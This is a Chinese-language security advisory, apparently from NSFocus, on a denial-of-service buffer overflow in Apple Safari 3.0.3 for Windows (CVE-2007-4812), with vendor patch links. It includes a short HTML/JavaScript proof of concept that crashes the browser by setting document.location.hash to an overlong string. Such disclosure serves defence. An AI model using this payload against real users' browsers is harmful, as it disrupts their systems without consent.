安全研究

安全漏洞
Apple Safari for Windows Document.Location.Hash缓冲区溢出漏洞

发布日期:2007-06-25
更新日期:2007-11-15

受影响系统:
Apple Safari 3.0.3 522.15.5
描述:
BUGTRAQ  ID: 26448
CVE(CAN) ID: CVE-2007-4812

Safari是苹果计算机的最新作业系统Mac OS X中的浏览器,使用了KDE的KHTML作为浏览器的运算核心。

Safari for Windows存在缓冲区溢出漏洞,远程攻击者通过将document.location.hash设置为较长的字符串利用此漏洞造成拒绝服务。

<*来源:Azizov E.
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>

建议:
厂商补丁:

Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://support.apple.com/
http://lists.apple.com/archives/Security-announce/2007/Nov/msg00003.html

浏览次数:1708
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障